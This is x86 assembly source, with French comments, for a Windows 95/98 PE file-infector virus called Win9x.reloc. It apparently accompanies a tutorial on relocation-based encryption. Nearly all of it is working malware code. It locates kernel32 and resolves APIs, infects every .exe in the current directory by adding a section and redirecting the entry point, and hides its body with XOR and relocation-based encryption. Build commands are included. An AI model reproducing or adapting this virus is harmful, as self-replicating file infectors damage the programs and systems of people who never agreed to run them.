;----------------------------------------------------------------------------; ;FICHIER : Reloc.asm ; ;NOM : Win9x.reloc ; ;DATE : 12/01/2003 ; ;VERSION : 0.4 ; ;AUTEUR : kaze ; ;CIBLE : PE ; ;OS : Windows 95/98 ; ;STEALTH : 32bits xor encryption + 32bits add/sub via relocs encryption ; ;INFECT : Ajout de sections ; ;TAILLE : 1409 bytes ; ;PAYLOAD : MessageBoxA ; ;DESC : Ce virus est une simple application de ce tut et en rien un ; ; exemple. Il a été simplifié au possible dans ce but. N'infecte que; ; les PE du rep courant, enfin, normalement :p ; ;COMP : tasm32 /ml /l /m3 reloc ; ; tlink32 /Tpe /aa reloc,,,import32.lib ; ; makeex reloc.exe (rend la section .code executable) ; ;----------------------------------------------------------------------------; .386p .model flat,STDCALL extrn MessageBoxA:PROC extrn ExitProcess:PROC call_ macro x call [ebp+x] endm .data db 'Win9x.reloc coded by kaze/FAT' .code debut: ;Entry Point call delta delta: pop ebp sub ebp,offset delta lea esi,[ebp+gogogo] mov ecx,(virus_len - (offset gogogo-offset debut))/4+1 push esi mov edi,esi encrypteur proc near encrypt: lodsd xor eax,[ebp+encrypt_val] stosd loop encrypt ret encrypt_val dd 0 encrypteur endp crypteur_len equ ($ - offset debut)/4+1 ALIGN DWORD gogogo: mov ebx,[esp] and ebx,0FFFF0000h scan_mem: cmp [ebx],word ptr 'ZM' ; est-on au debut d'un MZ header ? jz valide_pe ; on y est rescan_mem: sub ebx,10000h ; prochain alignement de 64k (page) jmp scan_mem valide_pe: ; ebx pointe vers le MZ header mov ecx,[ebx+3ch] ; ecx=taille du MZ header add ecx,ebx ; ecx pointe vers le PE header cmp ecx,dword ptr [esp] ; est-ce une adresse coherente ? ja rescan_mem ; non, on y retourne cmp word ptr [ecx],'EP' ; c'est bien le PE header ? jnz rescan_mem ; non, on y retourne push [ebp+AncienEP] ; ebx=base de kernel32 mov esi,[ecx+78h] ; export add esi,ebx mov edi,[esi+12] add edi,ebx cmp dword ptr [edi],'NREK' ;c'est bien les infos pour kernel32? jnz erreur ;non add esi,1ch ; esi--> adresse des fonctions lea edi,[ebp+adrfonc] mov ecx,3 getinfo: lodsd add eax,ebx ; RVA2offset stosd loop getinfo mov esi,[ebp+adrname] ; esi-->table des offsets des noms newfnc: lodsd ; donne l'adresse d'un nom add eax,ebx ; RVA2offset mov edi,eax push esi lea esi,[ebp+api1] mov ecx,15 repz cmpsb jz yaowyaow pop esi jmp newfnc yaowyaow: pop eax xor esi,esi sub eax,4 ; lodsd oblige sub eax,[ebp+adrname] ; c'est maintenant une rva shr eax,1 ; eax=index *2 add eax,[ebp+adrord] mov si,[eax] shl esi,2 add esi,[ebp+adrfonc] lodsd add eax,ebx ; eax=adresse de GetProcAddress mov [ebp+GetProcAddress],eax mov ecx,nbrapis call ChercheApis ; cherche les autres apis maintenant call InfectRep ; Infecte le rep courant test ebp,ebp ; premiere generation ? jz hostcode xor eax,eax lea edx,[ebp+nomsection] lea ebx,[ebp+message] push eax push edx push ebx push eax call_ MessageBox pop eax ; eax = Ancien EntryPoint add eax,400000h ; N'infecte que les PE avec ImageBase=0x400000 jmp eax erreur: jmp erreur nbrapis equ 10 api1 db 'GetProcAddress',0 api2 db 'GetModuleHandleA',0 api4 db 'FindFirstFileA',0 api8 db 'FindClose',0 api9 db 'CloseHandle',0 apiA db 'CreateFileA',0 apiB db 'SetFileAttributesA',0 apiC db 'FindNextFileA',0 apiD db 'MapViewOfFile',0 apiE db 'CreateFileMappingA',0 apiF db 'UnmapViewOfFile',0 mask db '*.exe',0 nomsection db 'kaze/FAT',0 message db 'Infection reussie',0 user32 db 'User32.dll',0 nMessageBoxA db 'MessageBoxA',0 AncienEP dd 0 ;========================== FONCTIONS ========================== InfectPE proc near ; eax-->fichier push eax mov edx,[eax+3Ch] add edx,eax ; edx-->PEHeader xor ecx,ecx lea esi,[edx+18h] mov cx,[edx+14h] ; SizeOfOptionalHeader add esi,ecx ; esi-->sections mov [ebp+sectionaddr],esi mov bx,word ptr [edx+6] mov eax,28h inc word ptr [edx+6] cmp [ebp+nbrsections],24 jnz une_seule_section_a_rajouter inc word ptr [edx+6] une_seule_section_a_rajouter: push edx mul bx pop edx add esi,eax xor eax,eax mov ecx,[ebp+nbrsections] ; soit 28h/4, soit (28h/4)*2 si section ; '.reloc' en + mov edi,esi repz scasd ; y'a-t-il de la place ? jnz byebye ; non mov ebx,esi mov edi,esi lea esi,[ebp+nomsection] movsd ; Recopie 'kaze/FAT' movsd mov [edi],dword ptr virus_len + Heap_len+100h ; VirtualSize mov esi,[edx+50h] ; SizeOfImage mov [edi+4],esi ; VirtualAdress = SizeOfImage mov ecx,[edx+3ch] ; File alignement push edx ; Aligne la taille du virus sur xor edx,edx ; le file_alignement mov eax,virus_len mov ebx,eax div ecx sub ecx,edx add ebx,ecx pop edx mov [edi+8],ebx ; file size mov eax,[ebp+WFD_nFileSizeLow] mov [edi+12],eax ; file offset mov [edi+1Ch],0F0000060h cmp dword ptr [ebp+nbrsections],12 ; Faut-il rajouter aussi une .reloc? jz yarelocs2 ; Non, y'en a deja une. mov [edi+20h],'ler.' mov [edi+24h],' co' mov [edi+28h],dword ptr crypteur_len+10 mov eax,esi ; Esi = SizeOfImage = VirusRVA add eax,1000h ; Rajoute 1000h (virus< 1000h) mov [edi+2Ch],eax ; VirtualAddress mov [edx+0A0h],eax ; RelocRVA = VirtualAddress de .reloc mov eax,[ebp+tailleajustee] mov ecx,[ebp+alignement] mov [edi+30h],ecx ; RawSize (pas beaoucoup de relocs, ; un alignement suffit) sub eax,ecx mov [edi+34h],eax ; RawOffset=Tailledufichier - 1 ; alignement (largement suffisant) mov [edi+44h],050000060h ; Flags yarelocs2: mov ecx,[edx+50h] ; Ecx = SizeOfIMage = VirusRVA xchg [edx+28h],ecx ; PEHeader:28h = EntryPoint mov [ebp+AncienEP],ecx ;preparation des relocs mov eax,[edx+78h+40] ; Reloc RVA xor ecx,ecx mov edi,[ebp+sectionaddr] ; Cherche dans les sections celle qui mov cx,word ptr [edx+6] ; a pour VirtualAdress RelocRVA imul ecx,ecx,28h/4 ; ( section deja là ou repnz scasd ; préalablement crée ) jnz erreur mov ebx,[edi+4] ; RawOffset (VirtualAddress + 8) pop edi ; MapOffset add ebx,edi mov [ebx],esi ; Esi=SizeOfImage= RelocBase mov [ebx+4],dword ptr crypteur_len*2+8 ; Taille des relocs mov ecx,crypteur_len ; Nombre de relocs a effectuer xor eax,eax ; Premiere reloc a l'offset ; (relatif a RelocBase) 0 add ebx,8 ; RELOC_CHUNK + 8 ... or ax,3000h ; Type de reloc: 32bits relloop: mov [ebx],ax add ax,4 ; Un dword plus loin: prochaine ; reloc. add ebx,2 ; 1 reloc = 1 word. loop relloop and [ebx],dword ptr 0 ; Marque la fin des relocs. mov eax,[ebp+encrypt_val] ; Change la clé de cryptage relocsdone: add eax,07050301h ror eax,3 test eax,eax ; Si clé=0 alors pas de cryptage :/ jz relocsdone mov [ebp+encrypt_val],eax mov [edx+78h+40+4],dword ptr crypteur_len*2+8+4 ;RelocSize add edi,[ebp+WFD_nFileSizeLow] ; Pointe vers la fin du fichier push edi lea esi,[ebp+debut] mov ecx,virus_len add [edx+50h],dword ptr 2000h ; Virus_len+Heap_len rep movsb ; Recopie le virus .... pop edi mov esi,edi mov eax,[edx+8] ;TimeDateStamp (random...) findrandom: ; Là on choisit une ImageBase aléatoire test eax,eax ; à laquelle win ne pourra charger l'exe jz hcrandom ; là on choisit une valeur par défault. js ncrandom ; si > 0x80000000 c'est bon. cmp eax,400000h jb ncrandom ; si < 0x400000 c'est bon aussi. ror eax,1 jmp findrandom hcrandom: mov eax,0100000h ; Old windows applications ImageBase ncrandom: xor ax,ax ; NT/2000 Compatibility mov [edx+34h],eax ; ImageBase mov edx,edi mov ebx,0400000h sub ebx,eax ; Ebx = ImageBase - NewImageBase mov ecx,crypteur_len encrelocs: lodsd sub eax,ebx ; Encrypte le decrypteur. stosd loop encrelocs mov edi,edx add edi,(offset gogogo-offset debut) mov ecx,(virus_len - (offset gogogo-offset debut))/4+1 mov esi,edi ; Esi=edi --> virus mappé dans le ; fichier. call encrypteur ; Encrypte tout le virus ; sauf le décrypteur byebye: ret InfectPE endp InfectRep proc near lea esi,[ebp+WFD] lea eax,[ebp+mask] push esi push eax call_ FindFirstFile inc eax jz badrep dec eax mov [ebp+Shandle],eax unautreverre?: lea esi,[ebp+WFD_szFileName] call Infection lea eax,[ebp+WFD] push eax push [ebp+Shandle] call_ FindNextFile test eax,eax ; Dernier fichier ? jnz unautreverre? push [ebp+Shandle] call_ FindClose badrep: ret InfectRep endp Infection proc near ; Esi--> WFD_szFileName push ecx push 80h push esi call_ SFA xor eax,eax push eax push eax push 3 push eax inc eax push eax push 0C0000000h push esi call_ CreateFile inc eax jz peuxpas dec eax mov [ebp+Fhandle],eax mov edi,[ebp+WFD_nFileSizeLow] call CreateMappedFile test eax,eax jz mappas mov [ebp+Mhandle],eax call MapFile test eax,eax jz veuxpas mov [ebp+MapOff],eax mov dword ptr [ebp+nbrsections],12 mov esi,[eax+3Ch] cmp esi,edi jae pasbon ; Si MZ, evite une violation de page add esi,eax cmp dword ptr [esi],'EP' jnz pasbon cmp dword ptr [esi+34h],0400000h jnz pasbon xor ecx,ecx cmp dword ptr [esi+78h+40],0 ; Reloc RVA mov esi,[esi+3Ch] ; File Alignement mov [ebp+alignement],esi jnz yarelocs add dword ptr [ebp+nbrsections],12; Si y'a pas de relocs, alors 2 ; sections a rajouter mov ecx,esi yarelocs: push ecx push [ebp+MapOff] call_ UMVOFile push [ebp+Mhandle] call_ CloseHandle xor edx,edx add edi,virus_len ; Edi = fichier + virus mov eax,edi div esi sub esi,edx add edi,esi ; Edi = tailletotale + ( alignement- ; tailletotale%Alignement) pop ecx add edi,ecx ; Ajoute ou non l'espace pour les ; relocs (espace = 1 alignement) mov [ebp+tailleajustee],edi ; Sauve la taille finale du fichier call CreateMappedFile mov [ebp+Mhandle],eax call MapFile mov [ebp+MapOff],eax call InfectPE ; On l'infecte pasbon: push [ebp+MapOff] call_ UMVOFile veuxpas:push [ebp+Mhandle] call_ CloseHandle mappas: push [ebp+Fhandle] call_ CloseHandle peuxpas:push [ebp+WFD_dwFileAttributes] lea eax,[ebp+WFD_szFileName] push eax call_ SFA pop ecx ret Infection endp ChercheApis proc near lea esi,[ebp+api2] lea edi,[ebp+GetModuleHandle] chapis: push ecx push esi push ebx call_ GetProcAddress pop ecx test eax,eax jz erreur stosd yy: lodsb test al,al jnz yy loop chapis lea eax,[ebp+user32] push eax call_ GetModuleHandle test eax,eax jz erreur lea edx,[ebp+nMessageBoxA] push edx push eax call_ GetProcAddress mov [ebp+MessageBox],eax ret ChercheApis endp MapFile proc ;edi=taille xor eax,eax push edi push eax push eax push 00000002h push [ebp+Mhandle] call_ MVOFile ret MapFile endp CreateMappedFile proc near ;edi=taille xor eax,eax push eax push edi push eax push 00000004h push eax push [ebp+Fhandle] call_ CreateFileMapping ret CreateMappedFile endp dd 0 endvirus equ $ virus_len equ $-offset debut ;================================= HEAP START ================================ alignement dd ? tailleajustee dd ? sectionaddr dd ? adrfonc dd ? adrname dd ? adrord dd ? nbrsections dd ? GetProcAddress dd ? GetModuleHandle dd ? FindFirstFile dd ? FindClose dd ? CloseHandle dd ? CreateFile dd ? SFA dd ? FindNextFile dd ? MVOFile dd ? CreateFileMapping dd ? UMVOFile dd ? Beep dd ? MessageBox dd ? Shandle dd ? Fhandle dd ? Mhandle dd ? MapOff dd ? FT dd ? WFD label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime dd ? dd ? WFD_ftLastAccessTime dd ? dd ? WFD_ftLastWriteTime dd ? dd ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260 dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?) Heap_len equ $ - endvirus ;=========================== *PREMIERE GENERATION* =========================== hostcode: push 0 push offset t1 push offset m1 push 0 call MessageBoxA mov eax,virus_len call printdec push 0 call ExitProcess t1 db ' Win9x.Sankei ',0 t2 db ' Taille du virus :',0 m1 db ' Lancement ok ',0 printdec proc near pusha cld lea edi,buf mov ebx,10 xor ecx,ecx GUI_printdec_1: xor edx,edx div ebx push edx inc ecx test eax,eax jnz GUI_printdec_1 GUI_prindec_2: pop eax add eax,48 stosb loop GUI_prindec_2 xor eax,eax stosb push eax push offset t1 push offset buf push eax call MessageBoxA popa ret printdec endp buf db 20 dup (?) end debut